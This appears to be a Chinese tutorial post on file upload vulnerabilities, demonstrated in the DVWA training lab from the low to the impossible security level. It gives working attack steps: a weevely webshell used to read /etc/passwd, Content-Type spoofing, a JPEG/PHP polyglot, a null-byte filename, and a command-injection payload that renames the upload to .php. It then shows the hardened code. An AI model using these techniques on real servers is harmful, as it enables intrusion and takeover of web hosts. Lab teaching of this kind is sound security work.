提及文件上傳漏洞 ,可謂是印象深入。有次公司的網站忽然訪問不到了,同事去服務器看了一下。全部 webroot 文件夾下的全部文件都被重命名成其餘文件,好比 jsp 文件變成 jsp.s ,以至於路徑映射不到 jsp 文件,同事懷疑是攻擊者上傳了個 webshell 文件而後進行批量重命名了。php
把後臺的代碼都找了一遍,後臺代碼也都有驗證文件擴展名的,後面是發現一張普通的照片實際上是代碼來的,但也不知道爲什麼可以執行。但看完這篇文章你就會明白了。 下面用 dvwa 來演示如何攻擊和防護。html
用戶界面是這樣的,是一個簡單的上傳文件功能。linux
然而 Hacker 就上傳一個 phpinfo.php 文件git
<? phpinfo(); ?>
。。。結果以下
github
而後打開連接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。web
Hacker 想用 webshell 的方式嘗試一下。因而就用 Kali Linux 預裝的 weevely 工具生成一個 webshell 文件,這裏的 123456 是密碼,這個 webshell 要用密碼登陸的。shell
weevely generate 123456 /root/webshell.php Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
上傳完文件後,登陸windows
weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456 weevely> ls
dvwa_email.png webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
就變成你的地盤我作主了。 再來看看低級代碼。瀏覽器
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
爲什麼會變成這樣的呢?以爲主要是沒有限制文件擴展名吧。安全
而中級代碼,多了文件類型和文件大小的限制
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
這裏代碼看上去好像類型都判斷了,應該是不能上傳 php 代碼了吧。 然而 Hacker 打開火狐瀏覽器的調試器(谷歌瀏覽器沒有修改功能,用 brup suite 之類的抓包也能夠的),找到對應請求後右鍵選擇-> edit and resend 而後將頭部的 content-type 改掉,再重發請求
結果以下
打開連接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。
中級的代碼有漏洞的緣由是用 content-type 去判斷文件類型了,若是用擴展名去判斷還有問題嗎?高級代碼就是這樣想的,代碼以下
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
我嘗試過將 phpinfo.php 改爲 phpinfo.php.png ,然而不成功,由於調用了 getimagesize 這個函數,若是不是圖片文件就會返回 false。 可是若是這圖片既是圖片又是代碼呢? 有人能想到了嗎? 11年左右百度貼吧風靡一時圖種。
好比這是你們老婆的圖片
保存下來,將擴展名改爲 zip ,再解壓(用命令行 unzip)。。。就有福利。
爲何能夠這樣 由於好比文件有特定的 jpg 標識,若是用看圖程序打開,只會去看有圖片標識的那部分,若是用 zip 壓縮文件打開,也只會看有 zip 標識的那部分,其餘部分會忽略的。 因此它既是圖片也是種子。所以。咱們能夠製做相似圖種的東西去注入 webshell。
copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg
cat webshell.php >> gakki.jpg
因此咱們能夠製做一個 「圖php"
cat phpinfo.php >> gakki.jpg
只是上傳後,重命名是個問題。
php 5.4 之下還容易解決,由於那個版本就有個漏洞上傳gakki.php%00.jpg
這種文件會當成gakki.php
來執行的,由於 c語言等語言是用 \0 判斷字符符結束的,因此該會被服務器當成 gakki.php 執行。
在 File Upload 頁面無法重名了。。。找不到其餘方法。惟有藉助同一級別下的漏洞好比是命令行注入漏洞
而後輸入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php
,再訪問文件,結果以下
不可能級別的代碼有添加了這些
imagecreatefromjpeg
或 imagecreatefrompng
去掉了不屬於圖片的部分代碼以下:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
也有其餘手段防護文件上傳漏洞(《白帽子講web安全》):